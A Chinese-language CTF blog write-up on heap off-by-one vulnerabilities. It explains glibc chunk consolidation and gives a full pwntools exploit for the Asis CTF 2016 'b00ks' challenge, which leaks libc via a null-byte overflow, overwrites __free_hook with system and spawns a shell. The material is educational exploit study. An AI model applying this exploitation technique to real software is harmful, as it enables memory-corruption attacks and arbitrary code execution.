• CTF-PWN-堆- 【off-by-one】


    堆的off-by-one

    off-by-one指的是单字节缓冲区溢出(off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等)
    写入字节时超过本身申请的一个字节

    • 循环设置错误,多写了一个字节
    • 字符串长度判断有误
      strlen()计算字符串的长度不包括空结束字符
      调用gets函数后 字符串结束符自动添加到输入字符串末尾
      strcpy拷贝时候会把空结束字符也拷贝)

    利用思路

    • 当溢出部分可控制任意字节时,且溢出部分为size段时,可修改大小,进而泄露其他chunk数据或者覆盖其他块的数据

    • 当溢出部分固定为NULL字节时,且溢出部分为size段时,且size大小为0x100的整数倍时,它的低字节会被清0,同时标志位都会被清0,这样前一个chunk块会被认为free块

      (1)可以利用unlink
      (2)可以利用同时构造pre_size和对应的NULL字节溢出,然后unlink时合并,此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

    注意2.28版本以后有check检查prev_size 找到的块的大小与prev_size 是否一致,2.28 及之前版本并没有该 check

    /* consolidate backward */
        if (!prev_inuse(p)) {
          prevsize = prev_size (p);
          size += prevsize;
          p = chunk_at_offset(p, -((long) prevsize));
          /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
          if (__glibc_unlikely (chunksize(p) != prevsize))
            malloc_printerr ("corrupted size vs. prev_size while consolidating");
          unlink_chunk (av, p);
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    Asis CTF 2016 b00ks libc 2.31

    IDA源码

    main

    在这里插入图片描述

    输入名字

    在这里插入图片描述
    在这里插入图片描述
    存在溢出 *a1=0

    creat函数

    在这里插入图片描述
    在这里插入图片描述

    dele函数

    在这里插入图片描述

    edit函数

    在这里插入图片描述

    print函数

    在这里插入图片描述

    reeditor name函数

    在这里插入图片描述

    思路

    三类堆块:第一类为name的,第二类为description的,第三类为存储name和description堆块相关信息的
    两坨空间:off_202010和0ff_202018分别存储着偏移202060和202040的地址,偏移202060对应的是author name的,偏移202040对应的是第三类堆块的地址
    在这里插入图片描述

    只有接近或超过top_chunk的size(128KB=2的17次方字节即0x2000)大小时候才会使用mmap扩展.
    某些版本libc和mmap分配的堆块之间的偏移是固定的。

    • 利用溢出的空字符特性,首先写入32个字节的名字,然后creat两次,第一次对应的chunk大小都为malloc分配的,且该第三类chunk地址低字节覆盖为\x00时正好对应第二类chunk的地址,第二次对应的chunk大小大于top_chunk的size从而被mmap分配,然后利用printf时\x00截断的特性能够得到第一次对应的第三类chunk的地址
    • 然后重写第一次chunk的description(第二类chunk)构造为description部分对应第二次chunk的地址的chunk,然后重写名字,将空字符覆盖到储存第一次chunk对应的第三类chunk的指针数组位置,从而实现最低位字节为\x00,进而对应了第一次chunk的第二类chunk地址,
    • 然后print,此时会输出第二次chunk对应的description的chunk的地址,由于该chunk是mmap分配的,此时版本对应的该chunk地址和libc基址距离固定,可求libc基地址,进而求__free_hook地址和system函数地址
    • 然后再重写此时的第一次chunk(已经被构造为之前第一次chunk对应的description的chunk了)的description,进而修改第二次chunk的第三类chunk中的description的chunk的地址,此时用__free_hook的地址写入,然后重写第二次chunk的description可实现修改__free_hook的内容为system函数地址
    • 再次修改第一次chunk的description的从而实现向第二次chunk的第三类的chunk的description部分写入/bin/sh,最后dele第一次的chunk从而调用到free函数且此时有参数为/bin/sh的地址

    exp

    from pwn import *
    #context(os="linux",arch="amd64",log_level="debug")
    s=process("./b00ks")
    f=ELF("./b00ks")
    libc=ELF("./libc-2.31.so")
    
    #gdb.attach(s,"b main")
    def cre(name_size,name,description_size,description):
        s.recvuntil(b"> ")
        s.sendline(b'1')
        s.recvuntil(b"size: ")
        s.sendline(str(name_size))
        s.recvuntil(b"Enter book name (Max 32 chars): ")
        s.sendline(name)
        s.recvuntil(b"size: ")
        s.sendline(str(description_size))
        s.recvuntil(b"Enter book description: ")
        s.sendline(description)
        
    
    def change(name):
        s.recvuntil(b"> ")
        s.sendline(b"5")
        s.recvuntil(b": ")
        s.sendline(name)
    
    def printbook(id):
        s.recvuntil(b"> ")
        s.sendline(b'4')
        for i in range(id):
            s.recvuntil(b"ID: ")
            id=s.recvline()[:-1]
            s.recvuntil(b"Name: ")
            name=s.recvline()[:-1]
            s.recvuntil(b"Description: ")
            des=s.recvline()[:-1]
            s.recvuntil(b"A"*32)
            addr=s.recvline()[:-1]
            return name,addr
    
    def edit(id,des):
        s.recvuntil(b"> ")
        s.sendline(b"3")
        s.recvuntil(b"edit: ")
        s.sendline(str(id))
      
        s.recvuntil(b"description: ")
       
        s.sendline(des)
    
    def dele(id):
        s.recvuntil(b"> ")
        s.sendline(b"2")
        s.recvuntil(b"to delete: ")
        s.sendline(str(id))
    
    
    s.recvuntil(b"name: ")
    s.sendline(b"A"*32)
    cre(64,b'10',32,b'10')
    cre(0x21000,b"10",0x21000,b"10")
    
    name,addr=printbook(1)
    
    addr=u64(addr.ljust(8,b"\x00"))
    payload=p64(1)+p64(addr+0x38)+p64(addr+0x40)+p64(0xfffffff)
    edit(1,payload)
    change(b"A"*32)
    name,addr=printbook(1)
    addr=u64(name.ljust(8,b'\x00'))
    libc_base=addr+0x21ff0
    free_hook_addr=libc.sym["__free_hook"]+libc_base
    payload=p64(free_hook_addr)
    edit(1,payload)
    systemaddr=libc.sym["system"]+libc_base
    edit(2,p64(systemaddr))
    payload=b"/bin/sh".ljust(8,b"\x00")
    edit(1,payload)
    dele(1)
    print(hex(addr+0x40))
    print(hex(free_hook_addr))
    print(hex(systemaddr))
    s.interactive()
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84

    思路

    1.利用IDA偏移加上vmmap命令得到的基址可得(或利用pwngdb 中的search命令搜索字符串从而知道位置)
    2得知printf截断特性和原chunk写入时覆盖底地址为\x00(还没)
    3在若覆盖生成的结构体指针对应位置伪造结构体(还没覆盖但伪造了)
    4覆盖原有的结构体指针
    5利用覆盖后的结构体指针
    7将虚假chunk的部位设置为某位置的地址即可得到该地址的内容,再次利用printf导致泄露,从而知道函数地址
    8调试看看泄露的函数地址和libc.so的基地址的偏移是否固定,进而求得其基址
    9利用pwntools查找在libc.so库中找到_free_hook的偏移再加上基地址等等
    10将_free_hook变量地址写到某个位置(可以将该位置存储的地址所指向的内容修改)。可修改_free_hook变量值为system函数地址,然后将free的参数对应的位置所对应的值修改为/bin/sh的地址 最后 利用free 参数即可getshell

  • 相关阅读:
    深入理解 Python 中的真值和假值概念
    Springboot配置文件加密
    网络安全深入学习第二课——热门框架漏洞(RCE—Thinkphp5.0.23 代码执行)
    Verilog 线型wire 种类
    [数据分析与可视化] Python绘制数据地图5-MovingPandas绘图实例
    Broken pipe. The Gradle daemon may be trying to use ipv4 instead of ipv6.
    数据压缩和归档(二)、zipfile
    【IDEA】-使用IDEA查看类之间的依赖关系
    阿里云Redis开发遇到的问题总结
    自然语言处理(NLP)中的迁移学习
  • 原文地址:https://blog.csdn.net/llovewuzhengzi/article/details/134472837